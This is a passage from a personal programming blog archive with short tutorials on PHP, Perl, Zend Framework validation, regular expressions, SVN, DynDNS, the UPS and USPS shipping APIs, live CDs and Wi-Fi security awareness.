echo '<pre>'; print_r(USPSLabel()); echo '</pre>';
$USPSResponse = USPSLabel();
$USPSLabel = $USPSResponse['DeliveryConfirmationV3.0Response']['DeliveryConfirmationLabel']['VALUE'];
?>

Then use PHP’s base64_decode(); to convert the image to PDF and save it with fwrite.

Unfortunately the security on this domain won’t allow me to write out an fopen/fwrite statement without throwing out a 503 error. So you will have to look it up. It is about 3 lines of code.

You should end up with a a PDF label like the one to the right. There are options to specify the size and type of label for people with regular printers or thermal label printers.

This is basically just a sample of what you can do. Check out the USPS Webtools guide and just adapt the XML part of the code to your integration needs.

Using a Live CD

2008-11-26T00:00:00Z

Let’s say you are working on an important email, document, or a critical website bug and your computer suddenly crashes and wont boot up. You have to get this work done right away what do you do? With a live CD you can be up and running in two minutes with the tools you need to finish the job. When you are done with your work you can use the live CD to actually fix your computer. Whether you are a computer techie or an average Joe, I think everyone should have a live CD next to their computer ready to go.

What is a Live CD?

A live cd is a temporary operating system that runs from a CD instead of a hard drive. This means that it doesn’t permanently effect your computer. When your computer is rebooted and the CD is ejected everything returns back to the way it was. Unless of course you want to use the Live CD to make changes to your computer, like fixing a computer that wont boot. Maybe you need to reinstall but you don’t want to loose those family pictures you saved. Maybe there is 4 minutes left on an Ebay auction and your computer wont boot.

What can you do with a Live CD?

Well you can use a live cd as a temporary operating system to get you by or use it as a tool to fix/maintain computers.

You can:

Transfer files to another hard drive even if your computer doesn’t work
Reset a Windows administrator password
Reset a Linux root password
Turn you computer into a temporary network assessment vulnerability toolbox
Remove spyware without waiting 25 minutes to boot
Scan for viruses, especially useful for when viruses take over anti-virus
Try out an operating system before installing it
Build your own Linux distribution
Watch a movie at a friends house without worrying about codecs and DVD player software
umm… You can do almost anything you could do on a regular OS

Getting a Live CD to Run

When you turn you computer on one of the first things it does it look for a medium to boot from. They have what is called a boot sequence. For example a computer could first try to boot from a floppy disk then if that fails try the cdrom then the hard drive. If all of them fail your computer will just sit at a blank screen. What we need to do in order to boot from a CD is tell the computer to first look at the cdrom before checking the hard drive. Sometimes this is done for you and all you have to do is put the CD in and restart the computer. Other times you have to hit a key like del to change the boot order.

Recommended Live CDs

Ubuntu Live CD
Knoppix - One of the first live CDs.
BackTrack - Ultimate security toolbox comes with every app you would ever need to test for security vulnerabilities.
Clonezilla - Open source ghost replacement
Windows Live CD - Run a “Windows like” operating system. This one is great for removing spyware and virus scanning.
Comprehensive list of all Live CDs

So there you have it. Don’t feel intimidated if this is you first time learning about live cds. Just download one burn it to a CD and give it a whirl. You literally can’t mess up your computer without actually knowing how to. Live CDs can be a great emergency situation and a way to learn Linux without jumping into the deep end. If you are a live cd veteran check out the list of Live CDs. You might find something new.

Why I use the Zend Framework

2008-11-25T00:00:00Z

Frameworks seem to be popping up all over the place for all sorts of languages. These frameworks all have one goal. They are looking to reduce development time. Time is money and when you are working on client’s sites frameworks can drastically reduce the development time. For this reason frameworks are not going away any time soon.

Why a framework?

If you haven’t tried a framework for web development do yourself a favor and just go try one. Adding skills to your skill set will help you in future projects. You may find yourself forced to work on a framework in the future so why not get a head start and learn one.

They say a good programmer is a lazy one. Why reinvent code? Why come up with custom code that other programmers will have to decipher when it comes maintenance time. Why not have code that is already well documented and widely known. Why not allow someone else to research the industry standard way of doing the mundane tasks while you focus on the real programming?

Why not Ruby on Rails?

Ruby on Rails is a very popular framework for the ruby language. I decided against using this as I wanted to leverage my experience in PHP with a PHP framework. It only made sense to do this. The other reason I did not go with Ruby is that it is not as well supported by webhosts. For me it just doesn’t make sense to learn Ruby right now.

Why not cakePHP?

Actually CakePHP was the first framework I tried and I really thought I was going to use this one. As newbie to the MVC model of programming I simply couldn’t follow the documentation. After searching around I found Zend Framework. I started going through the tutorials and watching a few screencasts. Something finally clicked and I was able to start the learning process and do some trial and error.

It wasn’t until I had already invested some time into the framework and spoke with a friend learning both Ruby on Rails and Cake PHP that I learned why I prefer this framework. The Zend Framework is actually not really much of a framework at all. Out of all the PHP frameworks Zend is probably the lest automated. It is more accurately described as a library of common PHP functions.

Unlike cakePHP Zend doesn’t setup database connections or really do much automatic code generation. It sets up the MVC model and that is about it. This provides a little more flexibility with your code. This advantage however is also Zend’s disadvantage. It means that you will spend more time building your prototype.

Why Zend?

The first thing that drew me into the Zend Framework was the fact that is was made the people that create and maintain PHP. This means this framework is here for the long haul and isn’t going anywhere soon. It also has some major players on board, IGN.com, RottenTomatoes.com, AskMen.com and IBM all use the Zend Framework.

Conclusion

Traditional PHP developers will fit right in with Zend as it is just a library of great functions. CakePHP is suited for people that are basically looking for a Ruby on Rails clone for PHP. I think all the framework’s really do the same thing and learning whichever one fits your specific need is the one you should choose. I chose Zend Framework because it fits my style. There might be a better framework to try, just do a quick search and see where it takes you.

Validating an Email Address With Zend Framework

2008-11-24T00:00:00Z

Email addresses are one of trickiest input types to validate because there are multiple ways emails can be written according to the RFC2822 specification. You could have me@gmail.com, or me+spam@gmail.com, or “mark@server”@marksanborn.net, common on Linux/BSD systems.

A lot of times people will use a regular expression like:

(\w+@[a-zA-Z_]+?\.[a-zA-Z]{2,6})

This regular expression would work for almost all email addresses but would fail for others. For example mark@gmail.co.uk would not match. Either would mark+spam@gmail.com. Which by the way is a very useful feature for email hosts that support it.

Fortunately using my favorite PHP Framework, Zend Framework, we don’t have to reinvent the proverbial wheel.

Validating an Email Address with Zend Framework

$validator = new Zend_Validate_EmailAddress();
if ($validator->isValid($email)) {
    // email appears to be valid
} else {
    // email is invalid; print the reasons
    foreach ($validator->getMessages() as $message) {
        echo "$message\n";
    }
}

Although they managed to get the regex for validating emails correctly, this is not where the power of Zend lies. Zend gives you the ability to:

Check if the hostname actually accepts email
Configure which emails types you will accept
Validate Top Level Domains
Validate International Domains Names (for international characters)

Validating Credit Card Numbers with Zend Framework

2008-11-21T00:00:00Z

Ever wonder how websites can tell you made a mistake entering your credit card number before you even submit it? Like most identification numbers credit cards have checksum digits built into them. Just like barcodes.

If you ever look at a EAN-13 UPC barcode (on all retail products) you will notice there is a digit outside of the regular set on the right. If any digit is out of order or mistyped you can tell that the barcode is wrong based on this checksum. It also allows barcode readers the ability to “guess” what the barcode if part of the barcode got riped or damaged. This is also how PAR files can repair corrupt damaged or even missing files.

Credit cards use a checksum algorithm called the, Luhn Algorithm, invented by Hans Peter Luhn. This simple algorithm can check to see if a credit card number was accidentally mistyped. This is what Zend Framework uses as well.

Validating Credit Card Numbers with Zend Framework

Here is a quick validation using Zend Framework:

$validator = new Zend_Validate_Ccnum();
        if ($validator->isValid('8181876154321')) {
            echo 'valid';
        } else {
            // email is invalid; print the reasons
            foreach ($validator->getMessages() as $message) {
                echo "$message\n";
            }
        }

Why I Would Never Hijack Someone's Internet

2008-11-16T00:00:00Z

Well for the short answer all you have to do is ask your self this simple question. Would you give your mail, credit cards and other personal information to a complete stranger? Probably not. By connecting to someone else’s internet connection you are giving them complete control over the data that you send from your computer. This may include mail, credit card information, and personal information.

Although crucial information like bank passwords are transmitted through SSL (encrypted) almost all traffic is sent in plain text. For example this blog and all blogs running Wordpress don’t use SSL to encrypt the credential exchange. Thus if you were connected to a untrusted internet service like your neighbor’s wireless they could easily see your blog’s password. This is just one out of thousands of examples where personal information could be hijacked on the account of YOU hijacking their service.

The term for this is called “sniffing”. The third party would “sniff” the traffic and watch what you are doing. They can do this because by connecting to a someone’s internet you are transmitting your data through their devices. All traffic that is not encrypted could easily be logged and stored for later analysis. To further clarify the only traffic that is hidden from prying eyes is SSL or some other industry standard encryption. If you hijacked a WEP or WPA access point you are still vulnerable to sniffing attacks. Technically the third-party could still sniff your SSL data they just wouldn’t be able to tell what it was.

It gets worse

You may say, “Well when I hijack someone’s internet I just surf around and check my email and my bank uses SSL so I’m not really at risk.” The problem with this statement is that it assumes that you are actually going to your bank’s server when you try to login. When someone has the control over the internet connection they can alter the data that you receive as well as the data you send out thus your bank’s website maybe just a copy that submits your actual username and password to a third-party database. Not a difficult thing to setup with tools like curl, bind, and mysql.

What to do

Stop using someone else’s internet connection!

Other than moral reasons these reasons are enough for me to never use an untrusted wireless network. Especially since we know the dangers that are involved.

The first thing you should do as a wireless owner is secure it. Read my article on Wireless Network Security.

For those of you with wireless internet that you want to hide from prying eyes I recommend checking out fakeAP. It is capable of making 53,000 fake wireless access points.

If you are interested in how sniffing works see, Wireshark.

If you just want to have fun with the freeloaders you can flip their world upside down with this.

Install Adobe Flash for Opera on Ubuntu

2008-11-12T00:00:00Z

Flash doesn’t come with Ubuntu by default so we need to install if for all of our browsers if we want to view any sites that have flash. Adobe provides an easy deb installation file to install it for browsers like Firefox but not Opera. Although the package from Adobe doesn’t automatically install flash for Opera, adding it manually is as simple as copying over a file.

Download the .deb file from Adobe and install it like you normally do.

dpkg -i nameofdeb.deb

This will install the flash library file here: ‘/usr/lib/adobe-flashplugin/libflashplayer.so’.

This package then copies this library to the directories of Netscape/Mozilla browsers like Firefox, but doesn’t do it for Opera.

To do it manually just execute this command as root:

sudo ln -s /usr/lib/adobe-flashplugin/libflashplayer.so /usr/lib/opera/plugins/libflashplayer.so

Thats it.

Learning Regular Expressions for Beginners: Building a Regular Expression Tester

2008-11-07T00:00:00Z

When learning regular expressions it is helpful to be able to quickly test regular expression patterns. It doesn’t really matter which proramming language you use to build it but I will give you two examples, one in Perl and one in PHP.

If you are new to regular expressions first check out, Learning Regular Expressions For Beginners: The Basics. It will run your through your first example. Once you have the hang of it you can come back here and build a test program to practice your own regular expressions.

Regular Expression testing for Perl

Just open up a text editor and copy and paste the code below. To use it just replace the part that says, “YOUR_REGULAR_EXPRESSION_GOES_HERE”. Each new line that you type into the console will be tested. Use ctrl+c to quit.

#!/usr/bin/perl
while (<>) {                        
  chomp;
  if (/YOUR_REGULAR_EXPRESSION_GOES_HERE/) {
    print "Matched: |$`<$&>$'|\n";  
  } else {
    print "No match: |$_|\n";
  }
}

|beforeafter|

Regular Expression testing for PHP

$testString = $_POST['testString'];
preg_match('/YOUR_REGULAR_EXPRESSION_GOES_HERE/', $testString, $matches);
print_r($matches);
?>

<html>
<head><title>Regular Expresion Tester</title></head>
<body>
<form action="" method="POST">
    <input type="textbox" name="testString" /><br />
    <input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Setting Up a Sandbox Server with SVN

2008-11-06T00:00:00Z

SVN is one of those things that you love once you know what and how it works. SVN is a version control system used by almost all major open source projects and is an absolute dream to work with. If you have ever worked with a team of developers you probably have had the experience of having your code accidentally written over or deleted.

With SVN you have version control where you can revert changes, kinda like Wikipedia. It also keeps track of which files were actually modified and gives you an option to describe to other developers what changes were made. No more unfortunate mishaps. :)

What is great about SVN is that the code can be checked out to any server at any time with the latest code. I use SVN to make a “sandbox” server. A server that I can play around in without worrying about deleting code or messing something up. When I am happy with my changes I can type one command and the two servers are synced with the newest changes. If for some reason it doesn’t work out I can revert back to the old way in one easy command.

If you are using Dreamhost it is really easy to setup. Here is how:

Setting up SVN on Dreamhost

Go to dreamhost and make a svn.yourdomain.com directory

Make a svn project

Import your code to the SVN repository.

cd yourdomain.com svn import . http://svn.yourdomain.com/myproject

Make a new folder

mkdir yourdomain.com-svn

Check out the code

cd yourdomain.com-svn svn checkout http://svn.yourdomain.com/myproject . <----- don't forget the dot

At this point you swap the original site with the svned one. If you didn’t do something write thus far simply swap them back and start over.

mv yourdomain.com yourdomain.com-original mv yourdomain.com-svn yourdomain.com

Make the Sandbox

Make a new subdomain called sandbox.yourdomain.com

Check out the SVN code

cd sandbox.yourdomain.com svn checkout http://svn.yourdomain.com/myproject .

Once again don’t forget the . (dot) at the end.

Lock the testing site

You probably don’t want people checking out your test site and certainly don’t want Google or any other bot to get a hold of it.

Open/create up your .htaccess in sandbox.yourdomain.com and fill it with:

AuthType Basic AuthUserFile /home/yourname/sandbox.yourdomain.com/.htpasswd AuthName "My Testing Site" require valid-user

Then create a .htpasswd file.

Ignore test files

You definitely don’t want to accidentally lock your main site down by transferring .htaccess files or anything else over that doesn’t belong.

Fortunately for use SVN provides the ignore command. You can insert multiple lines from the commandline, just press enter inside the quotes:

$ svn propset svn:ignore ‘config.php [enter] > database.php’ . [enter]

Note: If a file is already in the SVN it cannot be ignored. You must first delete it out. A good way to do this if your live site already has a .htaccess in SVN is to rename svn delete and then ignore then rename it back.

Using SVN

Although SVN is simple I could probably spend an entire post talking about it. Here are some of the basic commands that you will need to know.

Commit code to the SVN repository:

svn commit

Update code to match the SVN repository (run this on the live server after you commit from testing):

svn update

My Router Doesn't Support Dynamic DNS, No Problem!

2008-10-23T00:00:00Z

Well I just recently hooked up a DSL connection via a DSL modem that was also a router. For regular home users this DSL modem/router is probably good enough but for more complex setups it is useless. In this particular setup we had a custom built firewall. This firewall had a built in dynamic DNS service for ISP’s that rotate IP addresses. The problem however, is that the firewall was behind the DSL modem’s NAT. So it was reporting a private 192.168 number to Dyndns.

We couldn’t turn off NAT on the DSL modem unless we purchased a block of static IPs. The DSL modem, being home orientated, didn’t allow for dynamic DNS.

Fortunately dyndns offers a service to detect your public IP address. They also have an API to change your IP for dynamic DNS. Knowing this I quickly did a search on my favorite perl code repository, CPAN. Sure enough someone made a module that sends updated IP info to dyndns.

Updating DynDNS with Perl

The first thing you will want to do is download the module, Net::DNS::DynDNS. On a Linux box it is super easy.

cpan install Net::DNS::DynDNS

On windows you will need to compile it with dmake and mingw since there are no ppm for Active Perl.

Then create a file called, dyndns.pl, replacing username, password, and yourdomain.selfip with your own values.

#!/usr/bin/perl use Net::DNS::DynDNS; print Net::DNS::DynDNS->new('username', 'password')->update('yourdomain.selfip.com');

You can then update your IP by simply doing

perl dyndns.pl

To setup automatic updating we can use our favorite scheduler, cron.

crontab -e

Then add the following line, pointing to where you saved dyndns.pl

1 * * * * /usr/bin/perl /home/youruser/crons/dyndns.pl

This will update every hour which is plenty for my needs. Feel free to change it to fit yours.

Learning Regular Expressions for Beginners: The Basics

2008-10-21T00:00:00Z

If you consider yourself a programmer and you have not learned regular expressions yet now is the time! At some point in your development you will need to manipulate strings in more complicated ways that simple string functions can’t provide. Regular expressions are used in almost all programming languages and are considered the de facto standard for string manipulation. Regular expressions can also be used in searches and many other utilities.

The problem with regular expressions is that nobody wants to learn them because they look very intimidating. Don’t worry though, we will try to make it as painless as possible.

When I first looked at regular expressions I have to admit they looked absolutely foriegn. You can’t really look at a example snippets and learn a whole lot as you can with some languages.

For example a regular expression might look like this:

((?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,15})

If you are new to regular expressions this will look like absolute gibberish or some encrypted code. With regular expressions you have to start with absolutely nothing and build up. Examples snippets simply wont do.

A very simple regular expression

Here is an extremely easy example.

/foobar/

This simple regular expression matches the word, ‘foobar’, easy enough. The problem though is that it also would match, ‘asdfoobaradsf’. The regular expression would NOT match, ‘Foobar’ as regular expressions are case sensitive. This is where the fun begins.

If you wanted to match the “word” foobar you would use:

/\bfoobar\b/

Now we are really getting into regular expressions. As you can see here I have ‘\b’ at the beginning of the word and the end. As with programming languages there are certain characters that have special meaning and by adding a ‘**’ before the ‘b’ we are giving the ‘b**’ a special meaning. These special characters are how you are going to tell the computer what to match and how.

Don’t worry about the ‘\b’ too much right now you don’t even need to memorize it. Just try to stay with me here.

The pieces of a regular expression

Those ‘\b’ things in the example are called “anchors”. Anchors tell’s the program where to start looking for a string. What is important now is knowing the different pieces that make up a regular expresson. These include:

Actual text you are matching
Anchors
Character classes
Quantifiers
Ranges
Pattern modifiers
Special characters
Assertions

Working Through a Problem

For our first article in the series we are going to keep it simple walk through coming up with a regular expression for a common problem.

Lets say we are returning a header of a website and recieve the following code:

HTTP/1.1 200 OK Date: Tue, 21 Oct 2008 05:32:32 GMT

We would like to know what the number follows the ‘HTTP/1.1’. In this case the number is 200. If the number was 404 or something else we would know that the website is down.

To start building our regular expression we can simply start typing in what we see in (/) forward slashes.

/HTTP/

OK with regular expressions you have to think sequential and literal. We are first matching an H, then a T, then another T, and then a P. Avoid the trap of treating it like a word, think literal characters. As of right now like our earlier example this would match ‘asdflkjHTTP’.

We also ran into another problem. The next character in our string is a forward slash. Since this is a reserved (special meaning) character in regular expressions it must be escaped with a back slash.

/HTTP\/1.1/

OK, How about that? We have our slash escaped and the next portion of our expression. As you might have guessed the dot (.) is a special character in regular expressions and must also be escaped if we want it to be literal.

/HTTP\/1\.1/

There we go. Now I just remembered that HTTP status codes can sometimes return as version 1.1 or version 1.2. What If we want to allow ANY digit? To do this we need to use a character class-A class of common characters.

/HTTP\/1\.\d/

There, now this will match HTTP/1.1 or HTTP/1.2 or HTTP/1.3 etc..

The next character in our string that we want to match looks like a space. There is a character class for that.

/HTTP\/1\.\d\s/

OK, Lets check our work by saying what we are matching literally. We are looking for an H followed by a T then another T then a P followed by a forward slash (/) followed by a 1 followed by a dot (.) followed by any digit followed by some white space. Phew, almost done.

/HTTP\/1\.\d\s\d+/

Now we have added another digit character class followed by a quantifier. ‘\d’ says we will match any digit. The ‘+’ says we will match whatever comes before the plus 1 or more times. You can think of it as match one digitdigitdigitdigit…digit repeating forever until there are no more digits in sequence.

It is important to note that ‘+’ means 1 or more not 0 or more. If there is no digits the entire match will fail. To match 0 or more you would use the star (*****) quantifier.

/HTTP\/1\.\d\s(\d+)/

Adding the parentheses says that we want to group that part of the code. This will ensure that we only get back the number and not the entire match.

In this case the regular expression would return, 200.

Quick Tips

The character class \d (digit) is really just a shortcut for a range of characters.

\d is the same as [0-9] which is a shortcut of [0123456789].

A much more common range however would be matching alphabetic characters only. [a-zA-Z]

Where to go from here?

So I told you that examples are bad and then I used one. Well what I ended up doing was giving you examples of each of the common elements of a regular expression.

Literal Text (HTTP/1.1)
Escaped special characters (\/1.1)
Character Classes (\d or \s)
Quantifiers (+ and *)
Grouping with ()

The example is worthless. You only need to understand the technique of thinking about regular expressions and the components that make them up. If you can think about regular expressions one character at a time and understand these basic components you will be a master of regular expressions in no time. The syntax (giberish) will be crystal clear in literally moments after grasping these concepts.

New UPS PHP Project at Google Code

2008-10-09T00:00:00Z

Out of popularity I have decided to take UPS modules written in PHP found in my article, Calculating UPS Shipping Rate with PHP, over to the next level. I am rewriting all the code in object oriented PHP and publishing the code on Google Code under GNU General Public License v3 to ease implementation.

I am also going to be writing official documentation in the Google Code wiki pages.

This doesn’t mean that I am going to stop writing articles about UPS here on this blog. I will still add more detailed articles about the code and provide tutorials for implementation. The project at Google code is just so the project can grow and provide support, bug tracking, svn access, and official documentation.

This project will encompass modules for all other UPS API services including:

UPS Tracking Tool
UPS Signature Tracking
UPS Rates & Service Selection Tool
UPS Address Validation Tool
UPS File Download for Quantum View
UPS Shipping Tool
UPS Time in Transit Tool
UPS Trade Ability

Wanna Help?

The svn page on this project as already been hit a several times, but I would like to also encourage developers to send bug reports to the issue tracker and even sign up to help on the project.

Learning Perl for Beginners: Getting Started

2008-09-22T00:00:00Z

Well if you have decided to take the plunge into Perl I commend you. So far my experience with Perl has been really great. I have already made very useful programs for both Windows and Linux. Coming from a web development background I like to think of Perl as the “PHP for operating systems”. If PHP is great for creating dynamic websites, Perl is great for manipulating anything to do with your operating system and applications. The best part is Perl has similar syntax.

Before you can create all this useful stuff you need to actually go out and get the Perl interpreter since it is a scripting language.

Depending on your operating system the installation will vary.

Windows

The most common way to get Perl on a Windows machine is to download and install ActiveState Perl.

The default install options are fine.

Linux

If you have a modern Linux distribution you probably already have Perl. Go ahead and type ‘perl -v’ at the command line and see if you get something.

If you get the version number great otherwise you will need to download and install it with your distro’s package management system.

On a Debian/Ubuntu system you would do:

apt-get install perl

Do I need an IDE?

After installing Perl you will probably need something to actually write the code. I suggest using Vim/vi since it will save you a tremendous amount of time. If you haven’t already learned it you should start right away.

If you feel like you have too much to learn right now as it is, you can go ahead and use notepad or your favorite text editor. With Perl there really isn’t a need to use an IDE, a simple text editor will work.

Writing Your First Perl Program

Traditionally your first program is a “Hello World”. So that’s what we will make first.

Open up your text editor and lets start.

The first part of a Perl program tells Perl where to find the interpreter. This line is the first line in your code and might look like this:

#!/usr/bin/perl

This tells the OS to look in the directory, ‘/usr/bin/perl’ to find the interpreter, Although this is a Linux path, Windows users using ActivePerl can still use this.

Why do I need this?

The reason for this is that Perl was originally written for Linux and Linux doesn’t rely on the extension type (the last three characters of a file name after the dot) to determine which program will open it. Linux will look into the script and determine the program based on the first line. This is why bash scripts will have, ‘#!/bin/bash’ at the beginning. This allows you to name your program, “MyProgram” and not, “MyProgram.xyz”.

The next thing we need to do is display “Hello World”. Add this to your code:

print 'Hello World';

Look familiar? It should. So far this code would be the exact same code you would use to print a Hello World type program in PHP. The only difference is that you might use the command echo instead of print.

Like PHP most Perl functions end in a semicolon.

In this example we used single quotes to hold our string that we want to print. We could have easily used double quotes like this:

print "Hello World";

One important difference between double quotes and single is that double quoted strings will look for special functions within the string. This works the same way in PHP.

For example:

print "Hello World\n";

Would print the text, ‘Hello World’ and then a blank line or new line.

Double quoted text will also look for variables.

$myVariable = 'Hello World'; print "Perl says $myVariable";

This would display, ‘Perl says Hello World’. Like PHP variable names almost always have a ($) dollar sign in front of them.

Putting it all together

Your code for a simple Hello World program will look like this:

#!/usr/bin/perl print 'Hello World!';

Save your program as, helloWorld.pl

To run your program navigate to the directory and type, ‘perl helloWorld.pl’. You should get a display that says, Hello World!”

You just finished your first Perl program. Although your program doesn’t really do much we will quickly progress to something that is useful in future posts.

Mastering the UPS Shipping API: Getting Started

2024-02-07T00:00:00Z

This article is here to help you get a jump start on using the UPS Shipping API. This article is part 1 of the series that will help you get all the required tools to get you up and running. Later the series will expand upon each service the API has to offer as well as go into detail on how to create your custom programs using various languages and show you examples with both PHP and other programming languages.

Update: For a no fuss, 100% complete UPS REST API library with label printing support, integration support and automatic certification generation (required by UPS), I have created, RocketShipIt.

What is the UPS API?

The UPS API is a tool to allow you to communicate with the UPS servers using pretty much any programming language you want. This allows us to send our information, like addresses and weight and receive shipping rates and other information form UPS. UPS provides access to this API for free so developers can interact with their services to provide UPS information through their own custom apps. Whether it be through your web based ecommerce system to accurately determine shipping costs or display tracking information through your website.

Why is this cool?

I have used all kinds of shipping programs and pre-built ecommerce systems for businesses what always have their limitations. The shipping programs that I have used have never displayed the accurate rate. Although most will come close they are never truly accurate because they use shipping zones and routing tables to determine weight. They also usually need to be updated with the current fuel surcharge since the surcharge varies monthly which is a huge pain in the neck. If these limitations weren’t enough they pre-built systems usually lack flexibility and customization. By using the UPS Shipping API you call the shots.

Communicating with the UPS API

XML is the standard means of communication between web APIs and this is exactly what UPS uses. The great news is that XML is simple technology. Just about any programming language can easily communicate with XML and most of these languages have modules that make is really easy. PHP and Perl for example both have a module called SimpleXML. So I will show you example code in these languages to get you started.

Update: UPS now has a JSON “REST” API https://developer.ups.com/ Unfortunately, it is mostly just a JSON facade on top of their old legacy API with some extra friction around authentication.

Tools available in the UPS API

Here are the services that are offered by UPS and the topics that I will be covering in subsequent articles in this series.

UPS Tracking Tool - Track packages or allow customers login to your website to check on the status of their recent purchase with in house tracking.
UPS Signature Tracking - Get signature information for your in house systems
UPS Rates & Service Selection Tool - Probably the most popular tool. Allows you to look up the actual rate for a package
UPS Address Validation Tool - Check user entered addresses for typos or mistakes
UPS File Download for Quantum View - Download images of signatures and other documents
UPS Shipping Tool - An all encompassing tool for enterprises. This allows you to actually ship things and printed labels
UPS Time in Transit Tool - Find out what services you can ship with to a certain area
UPS TradeAbility - Generate cost estimates for duties, taxes, and transportation

How to get access

Getting access to the UPS developer tools is pretty easy. The first thing you will want to do is:

Once you are registered you will get oauth client_id and client_secret. You will use these credentials to generate a bearer token in subsequent requests which is good for an hour or so.

Once you are registered you need to requst access to various UPS services like rating, shipping, tracking, etc as the default registration gives no access.

Vim is a beautiful tool

2008-09-18T00:00:00Z

Eric Wendelin over at eriwen.com was kind enough to let me post an article about Vim on his blog today. It is a nice guide to Vim for people that have never used Vim looking to add some productivity to their programing. If you have used Vim for years you might learn something as well.

While you are there check out some of his other articles. There are some great ones on grep, sed, awk, and lots more.

Vim is a beautiful tool

The Perl Regular Expression Challenge

2008-09-11T00:00:00Z

With my newly acquired Perl and regular expression skills I was trying to put them to the test and get a little practice. I asked a friend of mine if he had any regular expressions I should write. He first gave me an easy one. Replace ‘foo’ with ‘bar’ only when bar follows the word ‘blah’. So after a minute or two I returned with a working regular expression.

Well that was easy…

Now for something a little trickier. He said, I want a regular expression that would print out words that land on every third letter ‘e’ except if that word was ‘the’. This doesn’t mean he wanted the third word that has the letter ‘e’.

To further clarify

‘Meet the Press!’ Would match only ‘Press!’ since the is excluded. ‘Meet them guys there’ Would match the word ‘them’. Although it them is the second word it is the third time ‘e’ is used in the string. ‘eeeeee’ would match the word ‘eeeeee’ twice, although we would probably not find that word too often. ‘Them them thee rem em shem’ Would match em. Notice how the second ‘e’ counts towards the next match.

It took me awhile to figure out the solution to this problem because I was trying to solve the problem with pure regular expressions. Which I am told is not possible.

I ended up solving the problem with a little bit of Perl code with the help of two simple regular expressions. If you are looking for a challenge or hone in your skills this is a great problem to practice with. If you are learning a new language this problem incorporates many of the needed elements in programming and will help you learn the language.

How I did it

#!/usr/bin/perl

use warnings;

$_ = "my test string goes here";
while (/(\w+)/gi) {
    $word = $&;
    while ($word =~ /e/gi) {
        $count++;
        if ($count == 3 and $word ne 'the') {
            print "$word\n";
            $count = 0;
        }
    }
}

Can you do it? I wrote my example in Perl but I would love to see someone do it in other languages. Post your examples or a pastebin of your code.

Note: I have also worked out this example with PHP without using regular expressions. There are multiple ways of solving this problem.

My Impressions of the New Google Chrome Browser

2008-09-03T00:00:00Z

Google Chrome is the new browser that was just relased by Google in an attempt to capture the browser market to give them a significant advantage to their search/advertising business. With Chrome Google will be able to track what actions the browser takes to further narrow down pagerank of sites.

Google Chrome uses Webkit as its rendering engine. WebKit is also the name of the Mac OS X system framework version of the engine that’s used by Safari, Dashboard, Mail, and many other OS X applications.

The install file is a download file which I really didn’t care for. What if I want to redistribute to multiple computers? I believe this is probably used on release day to minimize bandwidth usage and will change later.

The first thing I noticed was that the browser was going to import my contacts from Internet explorer so I selected, ‘Customize Settings’ to change that. I was a little disappointed that Opera wasn’t in the list of browsers to import from, but no biggie. The really cool thing I saw was that the browser DIDN’T try to make itself the default browser on install. It was actually unchecked by default. Which I thought was very classy since many apps try to force their settings on you.

Things I liked

The first thing it asks you is which search engine you want to use. Although I prefer Google Search over all the others I am glad it at least asked. Microsoft products NEVER ask.
Incognito mode (Ctrl+Shift+n)
Seperating each tab and process into its own sandbox
The UI is appealing yet very simple
The status bar is dynamic, meaning it only shows up when you need to see information.
marksanborn.net loaded properly in it

Things I didn’t like

Like most browsers, they took ideas from Opera (Speed Dial feature, and history search in address bar) and didn’t give them any credit or even give the option to import bookmarks from Opera.
No plugins/extensions. I am sure these will come soon however.
It used a lot more memory than Opera
Hardly any options to customize the browser
No built-in content blocking
It isn’t supported in Linux yet

Read the Google Chrome Story Book for more information on the technology side of it.

Conclusion

It’s too early before I can make my conclusion on this browser. I think it has some really innovative features and the UI is great but I think it needs more options and customization which I am sure will follow shortly. I look forward to see what Google does with this. What do you think?

Retrieve IMDB Cover Images with Perl

2008-08-29T00:00:00Z

In response to David’s post on PHP IMDB Information Grabber, I thought I would extend his idea and grab the cover image for the movie and save it.

So basically you give this script the IMDB number OR the actual movie title and it will go out and try to find it and download the image that IMDB has on file and store it on your hard drive. By default the file will be downloaded into the current directory.

#!/usr/bin/perl

use IMDB::Film;
use LWP::Simple;

my $imdbNumber = $ARGV[0];
my $film = new IMDB::Film(crit => $imdbNumber);

my $title = $film->title();
my $file = "$title.jpg";

my $cover = $film->cover();
getstore($cover,$file);

Usage

The usage is really simple…

perl imdbCover.pl 0112573

Where the number is the IMDB number of that particular title. You can also use the actual movie title.

perl imdbCover.pl Goonies

This will fetch the cover image and download it to the current directory.

Update Twitter From your Blog If you are Logged In

2008-08-28T00:00:00Z

I don’t want to have to login to Twitter all the time to do updates. So what I made was a script that displays a small text box near my twitter updates on my blog when I am logged in. This is handy because not only does is display your tweets it also gives you an opportunity to update them while you are working on a blog post or just browsing around checking your own blog.

The Perl Script

I am using Perl to update my twitter status but you could just as easily use PHP and cURL. So this part could be modified if you would rather do it that way. In my opinion this is far easier though.

First download the Net::Twitter module from CPAN.

You can do this by executing the following line in your shell:

cpan Net::Twitter

Then make a file called twitterUpdate.pl somewhere outside your web directory and copy this code in adding your Twitter username and password.

#!/usr/bin/perl

use lib qw( /home/username/perlmods/lib/perl/5.8 /home/username/perlmods/lib/perl/5.8.4
            /home/username/perlmods/share/perl/5.8 /home/username/perlmods/share/perl/5.8.4 );

use Net::Twitter;
use JSON::Any;

my $twit = Net::Twitter->new(username=>'YOURUSERNAME', password=>'YOURPASSWORD' );

$result = $twit->update("$ARGV[0]");

Then add these lines to your blog’s template:

<?php global $user_ID; if ($user_ID) : ?>
<?php if (current_user_can('level_10')) : ?>
<form method="post" action="processTwitter.php">
<input type="text" name="tweet" style="float:left;margin-left:3px;" />
<input type="submit" />
</form>
<?php else : ?>
<?php endif; ?>
<?php endif; ?>

This will add a text box and submit button only if you logged in and have administrative rights.

Then all you have to do is use javascript or PHP to process the form!

Here is what the end result can look like…

Check Google PageRank with Perl

2008-08-28T00:00:00Z

I am on a huge Perl kick lately. I have been making tons of different perl scripts for many different uses. Some of them useful and some are just plain silly. In this post we are going to talk about making an easy script that will go out and check the pagerank of any site that you want. Then we will make the script run through PHP so we can display our result on a website.

The Perl

This is a really simple perl script. Basically all we are doing here is calling a third party perl module called, “WWW::Google::PageRank”. Perl like many language is known for having a repository of easy to use modules that are already made so you don’t have to do any extra coding. This repository is called CPAN. No heavy coding in this example.

#!/usr/bin/perl
# Library location for custom modules on dreamhost
use lib '/home/marcrosoft/perlmods/share/perl/5.8.4/';
use WWW::Google::PageRank;

$url = $ARGV[0];

